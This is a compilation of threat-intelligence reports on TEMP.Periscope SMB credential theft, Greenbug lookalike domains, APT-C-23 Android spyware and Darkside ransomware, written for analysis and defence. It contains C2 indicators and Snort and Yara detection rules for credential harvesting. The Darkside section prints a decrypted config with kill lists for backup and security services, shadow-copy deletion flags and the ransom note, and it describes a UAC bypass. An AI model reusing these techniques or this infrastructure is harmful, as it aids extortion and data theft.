The spearphish was sent on July 6, 2018. Just a few days later, FireEye reported on a TEMP.Periscope campaign targeting the Cambodian elections in July 2018 that used the open directory hosted on scsnewstoday[.]com as a C2. The report noted that the same infrastructure was likely active since at least April 2017.
Secondly, the “file://” path included in the spearphish linking to the C2 82.118.242[.]243 was designed to steal credentials over SMB. This technique was documented publicly as a Dragonfly threat actor TTP by the US-CERT in March 2018, almost four months before the observed attack.
The observed hostname on the 82.118.242[.]243 IP was WIN-PRH492RQAFV, which we found was hard coded in a forked Responder script on GitHub. The original Responder script has previously been used by another Russian threat actor, APT28, according to reporting published in August 2017.
TEMP.Periscope has been actively followed by the research community since at least October 2017 — two months after APT28’s use of Responder was disclosed by FireEye in August 2017. There has since been a flurry of reporting on TEMP.Periscope activity in 2018, with campaigns against American and European maritime engineering companies and the Cambodian government. We should note here that the spearphish we observed was also sent to an email account that contained the name of a journalist based in Cambodia and was sent from an account spoofing an Australian journalist that had previously reported on Cambodian topics.
Therefore, it is plausible that, with the timeline of Russian tooling being made public prior to the disclosure of the TEMP.Periscope campaigns, TEMP.Periscope adapted their TTPs to either hinder attribution efforts or to simply use techniques that they deemed would be effective.
The overlap in infrastructure with the scsnewstoday[.]com C2 domain is also key; the domain was publicly reported by FireEye as being used by TEMP.Periscope only a few days after the spearphish to the U.K. engineering company was sent, making it highly unlikely that another threat actor could have compromised the C2. Additionally, the longer-term targeting of the U.K. engineering company by TEMP.Periscope since at least May 2017 highlights the group’s persistence in attempting to gain access.
Based on the available data and evidence outlined in this report, Recorded Future assesses with medium confidence that Chinese threat actor TEMP.Periscope reused TTPs from other threat groups to target the U.K. engineering company, likely to gain access to their sensitive and proprietary technologies and data. TEMP.Periscope has demonstrated an ability to rapidly adapt its TTPs to learn from other groups, such as APT28 and Dragonfly, either to increase their chances of success in gaining access to the victim network or to obfuscate attribution attempts.
Recorded Future expects TEMP.Periscope to continue to target organizations in the high-tech defense and engineering sectors. The Chinese strategic requirement to develop advanced technology, particularly in marine engineering, remains an intense focus as China looks to dominate the South China Sea territory. We believe TEMP.Periscope will continue to use commodity malware because it is still broadly successful and relatively low cost for them to use. They will continue to observe “trending” vulnerabilities to exploit and use techniques that have been publicly reported in order to gain access to victim networks.
Finally, Recorded Future believes that threat actors are actively emulating each other, monitoring publications and data sources both to protect their infrastructure and to observe techniques that rival actors are using. We anticipate that adversaries will continue to plant false flags, either via technical means or with technique emulation. As means of detection have drastically improved, the public identification of code overlap and the mapping of TTPs plays into the hands of well-coordinated operations, which can now make attribution findings murky at best. The samples and techniques named in a report can now rapidly be transposed into new or ongoing campaigns due to the volume of public reporting on these issues. This muddying of the waters allows targeted campaigns to better blend in with the noise, attempting to blur the lines between adversary groups.
## Network Defense Recommendations
Recorded Future recommends organizations conduct the following measures when defending against TEMP.Periscope’s attempts to steal credentials to gain network access:
- Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on — and upon review, consider blocking illicit connection attempts from — the external IP addresses and domains listed in Appendix A.
- Include the provided Snort rules in Appendix B in IDS and IPS appliances to detect attempted SMB credential stealing. Also, if applicable, use the provided Bro queries in Appendix B to hunt for signs of TEMP.Periscope TTPs detailed in this report on your network.
- Use Recorded Future’s API to import indicators listed in this report (Appendix A) into your endpoint detection and response (EDR) platform.
- Configure endpoint detection and response traffic to alert and block connections to indicators in Appendix A.
- Utilize the provided Yara rule in Appendix C to search your network for evidence of the spearphish being sent to your organization.
- Monitor and restrict SMB traffic across your network, particularly external attempts to authenticate via SMB.
## Appendix A — Indicators of Compromise
**IPv4**
- 82.118.242[.]243
- 193.180.255[.]2
- 185.106.120[.]206
- 68.65.123[.]230
**Domains**
- thyssenkrupp-marinesystems[.]org
- scsnewstoday[.]com
**SHA256**
- 146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4
## Appendix B — Network Monitoring
**Snort Rules to Detect SMB Credential Snarf (via US-CERT)**
```
alert tcp any any -> any 445 (msg:"SMB Client Request contains 'AME_ICON.PNG' (SMB credential harvesting)"; sid:42000003; rev:1; flow:established,to_server; content:"|FF|SMB|75 00 00 00 00|"; offset:4; depth:9; content:"|08 00 01 00|"; distance:3; content:"|00 5c 5c|"; distance:2; within:3; content:"|5c|AME_ICON.PNG"; distance:7; fast_pattern; classtype:bad-unknown; metadata:service netbios-ssn;)
```
```
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"HTTP URI OPTIONS contains '/ame_icon.png' (SMB credential harvesting)"; sid:42000004; rev:1; flow:established,to_server; content:"/ame_icon.png"; http_uri; fast_pattern:only; content:"OPTIONS"; nocase; http_method; classtype:bad-unknown; metadata:service http;)
```
```
alert tcp $EXTERNAL_NET [139,445] -> $HOME_NET any (msg:"SMB Server Traffic contains NTLM-Authenticated SMBv1 Session"; sid:42000006; rev:1; flow:established,to_client; content:"|ff 53 4d 42 72 00 00 00 00 80|"; fast_pattern:only; content:"|05 00|"; distance:23; classtype:bad-unknown; metadata:service netbios-ssn;)
```
## Appendix C — Yara Rules
```yara
/*
YARA rule to detect spearphish email (.eml) sent by Chinese threat actor TEMP.Periscope in July 2018.
*/
rule TEMP_Periscope_July2018_Spearphish : email {
meta:
Author = "Insikt Group, Recorded Future"
TLP = "White"
Date = "2018-09-22"
Description ="Rule to identify spearphish sent by Chinese threat actor TEMP.Periscope during July 2018 campaign”
strings:
$eml_1="From:"
$eml_2="To:"
$eml_3="Subject:"
$greeting_1="Dear,"
$content_1="Melissa Coade" nocase
$content_2="Below is the Report Website and contact"
$content_3="Would you mind giving me"
$url_1="file://"
$url_2="https://drive.google.com/open?"
condition:
all of ($eml*) and
all of ($greeting*) and
2 of ($content*) and
2 of ($url*)
}
```
## About Recorded Future
Recorded Future arms security teams with the only complete threat intelligence solution powered by patented machine learning to lower risk. Our technology automatically collects and analyzes information from an unrivaled breadth of sources and provides invaluable context in real time and packaged for human analysis or integration with security technologies. |
# Iranian Threat Agent Greenbug Impersonates Israeli High-Tech and Cyber Security Companies
Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies.
On 15 October 2017, a sample of ISMdoor was submitted to VirusTotal from Iraq. The sample name was WmiPrv.tmp (f5ef3b060fb476253f9a7638f82940d9) and it had the following PDB string: C:\Users\Void\Desktop\v 10.0.194\x64\Release\swchost.pdb.
Two domains were used for command and control:
- thetareysecurityupdate[.]com
- securepackupdater[.]com
By pivoting off the registration details and servers data of the two domains, we discovered others registered by the threat agent. Eight contain the name of Israeli high-tech and cyber security companies and one of a Saudi Arabian testing & commissioning of major electrical equipment company. We estimate that the domains were registered in order to be used when targeting these companies, organizations related to them, or unrelated third parties. However, we do not have any indication that the companies were actually targeted or otherwise impacted.
Below are the malicious domains and the companies whose names were used.
| Malicious Domain | Impersonated Company | Registration Date |
|--------------------------------------|---------------------------------------------------------------------------|-------------------|
| winsecupdater[.]com | | 11/6/2016 |
| dnsupdater[.]com | | 12/4/2016 |
| winscripts[.]net | | 3/4/2017 |
| allsecpackupdater[.]com | Uncertain | 4/8/2017 |
| lbolbo[.]com | | 4/8/2017 |
| securepackupdater[.]com | Uncertain | 4/8/2017 |
| thetaraysecurityupdate[.]com | ThetaRay (thetaray.com) – An Israeli cyber security and big data analytics company | 4/8/2017 |
| ymaaz[.]com | YMAAZE (ymaaze.com) – A Saudi Arabian testing & commissioning of major electrical equipment company | 4/8/2017 |
| oospoosp[.]com | | 8/9/2017 |
| osposposp[.]com | | 8/9/2017 |
| znazna[.]com | | 8/9/2017 |
| mbsmbs[.]com | | 8/9/2017 |
| outbrainsecupdater[.]com | Outbrain (outbrain.com) – A major Israeli online advertising company | 8/9/2017 |
| securelogicupdater[.]com | SecureLogic (space-logic.com) – Likely an Israeli marketer of airport security systems by the same name. Other companies with the same name exist. | 8/9/2017 |
| benyaminsecupdater[.]com | Uncertain | 8/9/2017 |
| wixwix[.]com | Wix (wix.com) – A major Israeli cloud-based web development platform | 8/9/2017 |
| biocatchsecurity[.]com | Biocatch (biocatch.com) – an Israeli company developing technology for behavioral biometrics for fraud prevention and detection | 10/14/2017 |
| corticasecurity[.]com | Cortica (cortica.com) – an Israeli company developing Artificial Intelligence technology | 10/14/2017 |
| covertixsecurity[.]com | Covertix (covertix.com) – An Israeli data security company | 10/14/2017 |
| arbescurity[.]com | Arbe Robotics (arberobotics.com) – An Israeli company developing autonomous driving technology | 10/14/2017 |
## Indicators of Compromise
Indicators of compromise are presented below:
- Domain: allsecpackupdater[.]com
- Domain: znazna[.]com
- Domain: arbescurity[.]com
- Domain: benyaminsecupdater[.]com
- Domain: biocatchsecurity[.]com
- Domain: corticasecurity[.]com
- Domain: covertixsecurity[.]com
- Domain: dnsupdater[.]com
- Domain: lbolbo[.]com
- Domain: mbsmbs[.]com
- Domain: ntpupdateserver[.]com
- Domain: oospoosp[.]com
- Domain: osposposp[.]com
- Domain: outbrainsecupdater[.]com
- Domain: securelogicupdater[.]com
- Domain: securepackupdater[.]com
- Domain: thetaraysecurityupdate[.]com
- Domain: winscripts[.]net
- Domain: winsecupdater[.]com
- Domain: wixwixwix[.]com
- Domain: ymaaz[.]com
- Domain: benyaminsecupdater[.]com
**Filename:** WmiPrv.tmp
**Hash:** 37d586727c1293d8a278b69d3f0c5c4b
**Hash:** 82755bf7ad786d7bf8da00b6c19b6091
**Hash:** ad5120454218bb483e0b8467feb3a20f
**Hash:** e0175eecf8d31a6f32da076d22ecbdff
**Hash:** f5ef3b060fb476253f9a7638f82940d9
**IP:** 151.80.113.150
**IP:** 151.80.221.23
**IP:** 217.182.244.254
**IP:** 46.105.130.98
**IP:** 5.39.31.91
**IP:** 80.82.66.164
**SSLCertificate:** 3b0b85ea32cab82eaf4249c04c05bdfce5b6074ca076fedf87dbea6b28fab99d
**Update 2017-10-25** – three hashes removed from IOC list. The following hashes were mistakenly included in the IOC list and have been removed, as they are unrelated to the campaign:
- c594b52ec8922a1e980a2ea31b1d1157
- 179cb8839e9ee8e9e6665b0986bf7811
- d30c4df6de21275ae69a4754fc2372ef |
# APT-C-23 Group Evolves Its Android Spyware
ESET researchers uncover a new version of Android spyware used by the APT-C-23 threat group against targets in the Middle East.
We have discovered a previously unreported version of Android spyware used by APT-C-23, a threat group also known as Two-tailed Scorpion and mainly targeting the Middle East. ESET products detect the malware as Android/SpyC23.A.
The APT-C-23 group is known to have used both Windows and Android components in its operations, with the Android components first described in 2017. In the same year, multiple analyses of APT-C-23’s mobile malware were published.
Compared to the versions documented in 2017, Android/SpyC23.A has extended spying functionality, including reading notifications from messaging apps, call recording and screen recording, and new stealth features, such as dismissing notifications from built-in Android security apps. One of the ways the spyware is distributed is via a fake Android app store, using well-known apps as a lure.
## Timeline and Discovery
The group’s activities were first described by Qihoo 360 Technology in March 2017 under the name Two-tailed Scorpion. In the same year, Palo Alto Networks, Lookout, and Trend Micro described other versions of the mobile malware, naming them VAMP, FrozenCell, and GnatSpy, respectively. Lookout published an analysis of another version of the malware, named Desert Scorpion, in April 2018, and at the beginning of 2020, Check Point Research reported new mobile malware attacks attributed to the APT-C-23 group.
In April 2020, @malwrhunterteam tweeted about a new Android malware sample. According to the VirusTotal service, no security vendor besides ESET detected the sample at the time. In cooperation with @malwrhunterteam, we recognized the malware to be part of the APT-C-23 arsenal.
In June 2020, @malwrhunterteam tweeted about another little-detected Android malware sample, which turned out to be connected to the sample from April. A deeper analysis showed that both the April and June discoveries were variants of the same new Android malware used by the APT-C-23 group.
## Distribution
Thanks to information from @malwrhunterteam, we identified a fake Android app store used to distribute the malware. At the time of analysis, the “DigitalApps” store contained both malicious and clean items. The non-malicious items would redirect users to another unofficial Android app store, serving legitimate apps. The malware was hidden in apps posing as AndroidUpdate, Threema, and Telegram. The latter two of these lures also downloaded the impersonated apps with full functionality along with the malware.
Interestingly, the downloads were limited by needing to enter a six-digit coupon code. This may be a way to prevent those not targeted by the group from installing the malware, and hence keep a lower profile. Although we didn’t have a coupon code, downloading the app wasn’t such a problem – all that was needed was to append “/download” to the URL.
This fake app store is likely just one of the distribution methods used by the threat group. Our telemetry from 2020 showed samples impersonating apps that were not a part of this fake app store.
## ESET Telemetry Data
According to ESET telemetry and VirusTotal data, Android/SpyC23.A has been in the wild since May 2019. In June 2020, ESET systems blocked this spyware on client devices in Israel. The detected malware samples were disguised as the messaging app “WeMessage.”
While there is a legitimate messaging app called weMessage on Google Play, the malicious app uses entirely different graphics and doesn’t seem to impersonate the legitimate app other than by appropriating its name. In our research, we haven’t found another app using the same or similar interface as the malicious WeMessage app, so it’s possible that the attackers created custom graphics. We don’t know how this particular version of the spyware was distributed – the malicious WeMessage app wasn’t offered in the aforementioned fake app store.
## Functionality
Based on our research, the malware mainly impersonates messaging apps. The attackers might have chosen this guise to justify the various permissions requested by the malware.
### Installation and Permissions
Before installation, Android/SpyC23.A requests a number of invasive permissions, including taking pictures and videos, recording audio, reading and modifying contacts, and reading and sending SMS. After installation, the malware requests a series of additional, sensitive permissions, using social engineering-like techniques to fool technically inexperienced users. These additional permission requests are disguised as security and privacy features:
- Under the guise of “Messages Encryption,” the app requests permission to read the user’s notifications.
- Under the guise of “Private Messages,” the app requests permission to turn off Play Protect.
- Under the guise of “Private Video Chat,” the app requests permission to record the user’s screen.
After the malware is initialized, in most cases, victims are requested to manually install the legitimate app used as a lure (e.g., Threema), which is stored in the malware’s resources. While the legitimate app is being installed, the malware hides its presence on the affected device. This way, the victims end up with a functioning app they intended to download and spyware silently running in the background. In some cases (e.g., WeMessage, AndroidUpdate), the downloaded apps did not have any real functionality and only served as bait for installing the spyware.
When first launched, the malware starts to communicate with its Command and Control (C&C) server. It registers the new victim and sends the victim’s device information to the C&C.
### Capabilities
Based on the commands received, Android/SpyC23.A can perform the following actions:
- Take pictures
- Record audio
- Restart Wi-Fi
- Exfiltrate call logs
- Exfiltrate all SMS messages
- Exfiltrate all contacts
- Download files to device
- Delete files from device
- Steal files with particular extensions (pdf, doc, docx, ppt, pptx, xls, xlsx, txt, text, jpg, jpeg, png)
- Uninstall any app installed on the device
- Steal APK installers of apps installed on device
- Hide its icon
- Get credit balance of SIM on device
The following features are new in Android/SpyC23.A compared to the previously documented versions:
- Record screen and take screenshots
- Record incoming and outgoing calls in WhatsApp
- Make a call while creating a black screen overlay activity (to hide call activity)
- Read text of notifications from selected messaging and social media apps: WhatsApp, Facebook, Telegram, Instagram, Skype, Messenger, Viber, imo
- Dismiss notifications from built-in security apps on some Android devices
### C&C Communication
Besides spying capabilities, the malware’s C&C communication has also undergone an update. In older versions, the C&C in use was hardcoded and either available in plain text or trivially obfuscated, and thus easier to identify. In the updated version, the C&C is well hidden using various techniques and can be remotely changed by the attacker.
The malware uses a native library with three functions. Two of them return opening and closing HTML tags for the title, and the third one returns an encrypted string. The encrypted string serves two purposes: the first part is used as part of the password to encrypt files extracted from the affected device. The second part is first decoded (base64) and then decrypted (AES). The decrypted string might suggest a Facebook profile page for the C&C, but it is still obfuscated.
Some of the substrings in this string are replaced based on a simple substitution table, and then the domain part of the apparent URL is replaced. From this URL, the malware parses the HTML for its title tag. The last step is to replace the first space for a dash and the second one for a dot. With that, obtaining the C&C is done. Such a process allows the malware operators to change their C&C server dynamically.
The malware’s live C&C servers typically pose as websites under maintenance, all using the same logo.
## Conclusion
Our research shows that the APT-C-23 group is still active, enhancing its mobile toolset and running new operations. Android/SpyC23.A – the group’s newest spyware version – features several improvements making it more dangerous to victims.
To prevent falling victim to spyware, we advise Android users to only install apps from the official Google Play Store. In cases where privacy concerns, access issues, or other restrictions prevent users from following this advice, users should take extra care when downloading apps from unofficial sources. We recommend scrutinizing the app’s developer, double-checking the permissions requested, and using a trustworthy and up-to-date mobile security solution.
For any inquiries, contact us at [email protected].
## Indicators of Compromise (IoCs)
**ESET detection name:** Android/SpyC23.A
**Hashes:**
- 9e78e0647e56374cf9f429dc3ce412171d0b999e
- 344f1a9dc7f8abd88d1c94f4323646829d80c555
- 56f321518401528278e0e79fac8c12a57d9fa545
- 9e1399fede12ce876cdb7c6fdc2742c75b1add9a
- 6f251160c9b08f56681ea9256f8ecf3c3bcc66f8
- 91c12c134d4943654af5d6c23043e9962cff83c2
- 78dd3c98a2074a8d7b5d74030a170f5a1b0b57d4
- 1c89cea8953f5f72339b14716cef2bd11c7ecf9a
- e79849c9d3dc87ff6820c3f08ab90e6aeb9cc216
**C&Cs:**
- linda-gaytan[.]website
- cecilia-gilbert[.]com
- david-gardiner[.]website
- javan-demsky[.]website
**Distribution URL:**
- digital-apps[.]store
**MITRE ATT&CK Techniques:**
| Tactic | ID | Name | Description |
|-------------|-----------|--------------------|-------------|
| Initial Access | T1444 | Masquerade | Android/SpyC23.A impersonates a legitimate chat application. |
| | T1476 | Deliver Malicious App | SpyC23.A can be downloaded from a malicious alternative app store. |
| Execution | T1575 | Native Code | SpyC23.A uses a native method to retrieve an encrypted string to obtain its C&C. |
| Persistence | T1402 | Broadcast Receivers | SpyC23.A listens for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts. |
| Defense Evasion | T1508 | Suppress Application Icon | SpyC23.A hides its icon. |
| Discovery | T1418 | Application Discovery | SpyC23.A retrieves a list of installed apps. |
| | T1420 | File and Directory Discovery | SpyC23.A retrieves the content of the external storage directory. |
| | T1426 | System Information Discovery | SpyC23.A retrieves details about the device. |
| Collection | T1433 | Access Call Log | SpyC23.A exfiltrates call log history. |
| | T1432 | Access Contact List | SpyC23.A exfiltrates the victim’s contact list. |
| | T1517 | Access Notifications | SpyC23.A exfiltrates messages from messaging and social media apps. |
| | T1429 | Capture Audio | SpyC23.A can record surroundings and calls. |
| | T1512 | Capture Camera | SpyC23.A can take pictures from the front or rear cameras. |
| | T1412 | Capture SMS Messages | SpyC23.A can exfiltrate sent and received SMS messages. |
| | T1533 | Data from Local System | SpyC23.A steals files with particular extensions from external media. |
| | T1513 | Screen Capture | SpyC23.A can take screenshots. |
| Command and Control | T1438 | Alternative Network Mediums | SpyC23.A can use SMS to receive C&C messages. |
| | T1437 | Standard Application Layer Protocol | SpyC23.A communicates with C&C using HTTPS and Firebase Cloud Messaging (FCM). |
| | T1544 | Remote File Copy | SpyC23.A can download attacker-specified files. |
| Exfiltration | T1532 | Data Encrypted | Extracted data is transmitted in password-protected ZIP files. |
| Impact | T1447 | Delete Device Data | SpyC23.A can delete attacker-specified files from the device. |
Lukas Stefanko
30 Sep 2020 - 11:30AM |
# Darkside Ransomware
**Chuong Dong**
**May 6, 2021**
## Overview
This is my report for one of the latest Windows samples of Darkside Ransomware v1.8.6.2! Since there is not a lot of in-depth analysis on Darkside out there, I decided to just write one myself. Darkside uses aPLib algorithm to compress its configuration and a hybrid-cryptography scheme of custom RSA-1024 and Salsa20 to encrypt files and protect its keys. Despite using code obfuscation and sophisticated techniques for privilege escalation and encryption, the ransomware is slower in encryption speed compared to others such as Babuk or Conti due to its recursive file traversal.
## IOCS
This particular sample that I used for my analysis is a 32-bit .exe file. There are a Linux version that is more enjoyable to analyze but I’m too lazy to cover both…
- **MD5:** 9d418ecc0f3bf45029263b0944236884
- **SHA256:** 151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5
## Ransom Note
The ransom note is encrypted and stored inside the aPLib-compressed configuration. The GUID checksum is generated and appended to the end of each ransom note file name.
## Static Code Analysis
### Generate KEY_BUFFER
Upon execution, Darkside generates a global 256-byte buffer. This buffer is significant since it is used to resolve APIs and decrypt encrypted strings/buffers in memory. Let us call this buffer KEY_BUFFER. This buffer is generated using two hard-coded 16-byte keys in memory.
Here is the function to generate KEY_BUFFER. It first has a loop to write the 4 DWORDs from key1 into KEY_BUFFER and subtract 0x10101010 from each DWORD each time. Then, it has another loop to add bytes in key2 to bytes in KEY_BUFFER and swap them around.
### Buffer Decryption Algorithm
All strings and data buffers are encrypted in memory throughout the malware. Before using them, Darkside will allocate a heap buffer, decrypt the target data, and write it in before using it. The decryption consists of a simple loop with byte swappings and a single XOR operation, which uses the data from the generated KEY_BUFFER. This function, however, is only designed to decrypt at most 255 bytes because the size of the length parameter is just 1 byte. To support bigger buffers, Darkside dedicates a wrapper function that calls decrypt_buff() for buffer_length / 255 times with the length parameter of 255. In case where the buffer length is not evenly divided by 255, the malware performs a modulus operation of buffer_length % 255 and uses it as the length parameter for decrypt_buff() to decrypt the rest of the bytes.
### Dynamic API Resolve
The dynamic API resolve function repeats the following operations. First, it uses the decrypt_large_buffer() function to decrypt a library table in memory. This table is divided into blobs with different sizes. The size of each blob is the 4-byte value that comes before it. In this table, each blob’s data is the encrypted version of a string, and this string can either be a DLL name or an API name. The table is laid out in such a way that a blob with a DLL name comes first, and blobs with API names exported from that particular DLL come after. If we perform the decryption on the entire table and eliminate the bytes representing the blobs’ size, we will get this.
After decrypting a DLL name, it then calls LoadLibraryA to load that library and begin importing the address into an API array in memory. The malware also wipes each decrypted string from memory whenever it finishes using it. This operation is repeated until it has gone through all libraries in the table.
The function to import the APIs for each library executes a loop that decrypts an API’s name, calls GetProcAddress, and writes each API’s address into the array every time. As we can see, the API array is built in a sequential order from the first to the last API blob, and it is simple to write a script to decrypt all APIs names and write to the API array accordingly to automatically resolve all APIs.
### Configuration Resolve
The encrypted configuration is stored in memory and ends with the DWORD 0xDEADBEEF. Because calling decrypt_large_buffer() requires knowing the encrypted buffer size, this DWORD is necessary to iteratively find the configuration size. After calling decrypt_large_buffer(), the decrypted configuration has this specific layout:
- Offset 0x0 - 0x7F: RSA-1024 exponent
- Offset 0x80 - 0x103: RSA-1024 modulus
- The rest: aPLib-compressed configuration.
Using the constants in comparison operations throughout the algorithm, it is quite simple to spot that Darkside decompresses using the aPLib algorithm. Since aPLib libraries are wildly available, I just grabbed a Python implementation on Github to decompress and parse the configuration into a JSON file.
Below is the full configuration of this sample in JSON format.
```json
{
"VICTIM_ID": "[0x30, 0x36, 0x30, 0x31, 0x30, 0x38, 0x65, 0x66, 0x62, 0x35, 0x31, 0x30, 0x63, 0x39, 0x38, 0x0, 0xdb, 0x85, 0x9b, 0xad, 0x0, 0x38, 0xe0, 0xc4, 0xf0, 0x92, 0x9, 0xa2, 0xa3, 0xc6, 0x14, 0xa4]",
"ENCRYPTION_MODE": "Full",
"AVOID_PROCESS_FLAG": true,
"ENCRYPT_ALL_DRIVES_FLAG": true,
"ENCRYPT_NET_SHARED_RESOURCE_FLAG": true,
"CHECK_RUSSIAN_COMP_FLAG": true,
"DELETE_SHADOW_COPIES_FLAG": true,
"WIPE_RECYCLE_BIN_FLAG": true,
"SELF_DELETE_FLAG": true,
"UAC_ELEVATION_FLAG": true,
"AdjustTokenPrivileges_FLAG": true,
"LOGGING_FLAG": false,
"DIRECTORY_TO_AVOID_FLAG": true,
"FILE_TO_AVOID_FLAG": true,
"FILE_EXTENSION_FLAG": true,
"DIR_TO_REMOVE_FLAG": true,
"SQL_SQL_LITE_FLAG": true,
"PROCESS_TO_KILL_FLAG": true,
"SERVICE_TO_KILL_FLAG": true,
"THREAT_WALLPAPER_FLAG": true,
"RANSOM_NOTE_FLAG": true,
"CHANGE_ICON_FLAG": true,
"BUILD_MUTEX_FLAG": true,
"THREAD_OBJECT_FLAG": false,
"C2_URL_FLAG": true,
"DIRECTORY_TO_AVOID": "$recycle.bin, config.msi, $windows.~bt, $windows.~ws, windows, appdata, application data, boot, google, mozilla, program files, program files (x86), programdata, system volume information, tor browser, windows.old, intel, msocache, perflogs, x64dbg, public, all users, default",
"FILE_TO_AVOID": "autorun.inf, boot.ini, bootfont.bin, bootsect.bak, desktop.ini, iconcache.db, ntldr, ntuser.dat, ntuser.dat.log, ntuser.ini, thumbs.db",
"FILE_EXTENSION_TO_AVOID": "386, adv, ani, bat, bin, cab, cmd, com, cpl, cur, deskthemepack, diagcab, diagcfg, diagpkg, dll, drv, exe, hlp, icl, icns, ico, ics, idx, ldf, lnk, mod, mpa, msc, msp, msstyles, msu, nls, nomedia, ocx, prf, ps1, rom, rtp, scr, shs, spl, sys, theme, themepack, wpx, lock, key, hta, msi, pdb",
"DIR_TO_REMOVE": "backup",
"SQL_STRING": "sql, sqlite",
"PROCESS_TO_AVOID": "vmcompute.exe, vmms.exe, vmwp.exe, svchost.exe, TeamViewer.exe, explorer.exe",
"PROCESS_TO_KILL": "sql, oracle, ocssd, dbsnmp, synctime, agntsvc, isqlplussvc, xfssvccon, mydesktopservice, ocautoupds, encsvc, firefox, tbirdconfig, mydesktopqos, ocomm, dbeng50, sqbcoreservice, excel, infopath, msaccess, mspub, onenote, outlook, powerpnt, steam, thebat, thunderbird, visio, winword, wordpad, notepad",
"SERVICE_TO_KILL": "vss, sql, svc$, memtas, mepocs, sophos, veeam, backup, GxVss, GxBlr, GxFWD, GxCVD, GxCIMgr",
"C2_URL": "securebestapp20.com, temisleyes.com",
"THREAT_STRING": "All of your files are encrypted! Find %s and Follow Instructions!",
"RANSOM_NOTE": "----------- [ Welcome to DarkSide ] -------------> What happened? Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? Using a TOR browser: 1) Download and install TOR browser from this site: 2) Open our website: When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksem !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!"
}
```
## Privilege Escalation
After exporting the configuration, the malware then checks if it has admin privileges by calling IsUserAnAdmin. If the user is not an admin, it performs a check on the user’s token information to verify if their token has the first subauthority value of SECURITY_BUILTIN_DOMAIN_RID and the second subauthority value of DOMAIN_ALIAS_RID_ADMINS. This check is necessary for the next step, where Darkside performs UAC elevation to relaunch itself with higher privileges. This is an old elevation trick to perform UAC bypass via ICMLuaUtil Elevated COM Interface. The bypass is only performed if the UAC_ELEVATION_FLAG in the configuration is set to 1.
If the AdjustTokenPrivileges_FLAG is set to 1 in the configuration, Darkside will get the current process’s token through OpenProcessToken and change the privilege to SE_PRIVILEGE_ENABLED to enable the token’s privilege.
## Security Context Impersonation
If possible, Darkside tries to have its process impersonate the security context of a logged-on user on the system. First, it checks if the logged-on user has an account with the referenced domain name of NT AUTHORITY, AUTORITE NT, or NT-AUTORITÄT. This is done by calling GetTokenInformation to retrieve the user’s SID and then LookupAccountSidW to look up the referenced domain name. If the user’s token has NT AUTHORITY, Darkside then retrieves the user’s token by calling WTSGetActiveConsoleSessionId and WTSQueryUserToken. Darkside stores this token in memory and calls ImpersonateLoggedOnUser upon file encryption.
## GUID Checksum
Darkside first has a function to perform CRC32 hashing and XOR operations. This function uses 0xDEADBEEF as the first CRC32 value and performs XOR operations with the data blob in between. To generate the victim’s checksum using their GUID, Darkside goes through 4 rounds of this CRC32 checksum function on the victim’s machine GUID. It also has a function to convert the final checksum from bytes into hex string form.
## File Logging
If the LOGGING_FLAG in the configuration is set to 1, the ransomware will begin logging every operation into a log file. First, it generates the log file name by formatting the GUID checksum into LOG%s.TXT. Next, Darkside creates the log file in the same folder as the malware executable using GetModuleFileNameW and CreateFileW.
## Ransom Note Readme File
If the RANSOM_NOTE_FLAG in the configuration is set to 1, the ransomware will generate a README file name. This file with the ransom note inside will be dropped on every directory that it encrypts. The README file name is generated by formatting the GUID checksum into README%s.TXT.
## Command Line Parameters
Darkside can take command line parameters of -path and a directory name. This can be used to specifically encrypt the chosen directory using normal encryption. If -path is not provided but instead the parameter is a file name, the malware only encrypts that specific file. In the case where the folder/file path in the parameter is a link (.lnk), Darkside calls a function to find the full path to the folder/file from that link.
## Run-once Mutex
If the BUILD_MUTEX_FLAG in the configuration is set to 1, the ransomware will build a run-once mutex string. By calling OpenMutex on the mutex, it can check to make sure that there is only one Darkside instance running at any point in time. The function to generate this mutex first retrieves the current malware file path and reads the file’s content into a heap buffer using GetModuleFileNameW, CreateFileW, GetFileSize, and ReadFile. The file buffer checksum is then calculated by going through one round of CRC32_checksum_generator function. The mutex string is decrypted by decrypt_large_buffer and added into the string Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX. All the “X”s in the string are then replaced with the hex string of the file buffer checksum. The Global part means that the mutex is visible in all terminal server sessions.
## Single File/Folder Encryption
Because the function to encrypt a single file/folder is only used when parameters are given, it is most likely for testing purposes only. Therefore, this function is not too complex. First, it checks if CHECK_RUSSIAN_COMP_FLAG is set to 1 in the configuration. If it is, then it proceeds to check if the victim’s computer’s language is Russian by parsing the outputs of GetUserDefaultLangID and GetSystemDefaultUILanguage. If the computer’s language is Russian, it exits immediately.
### Encrypt UNC Server Path
Next, it checks if the file path is a path to a UNC server by calling PathIsUNCServerW. If it is, the UNC encryption function is called. In this function, Darkside enumerates through all network shared using NetShareEnum, builds a valid UNC network path for each, and calls the main_encryption function to encrypt them.
### Encrypt Normal Path
If a path does not lead to a UNC server, Darkside will build the valid path accordingly by checking if the path is a network path, a path to a mounted network drive, or just a normal path on the system.
Here is what goes into the log file if LOGGING_FLAG is 1.
Before calling the main_encryption function to encrypt this final path, Darkside will try calling ImpersonateLoggedOnUser(USER_TOKEN) if it has NT AUTHORITY to impersonate the user while performing file encryption.
## Full Encryption
When command line parameters are not provided, Darkside will perform a full encryption on the victim’s machine, which includes many other operations such as contacting the C2 server, deleting shadow copies, terminating processes and services. This function also has the same code block to check for Russian language on the victim computer.
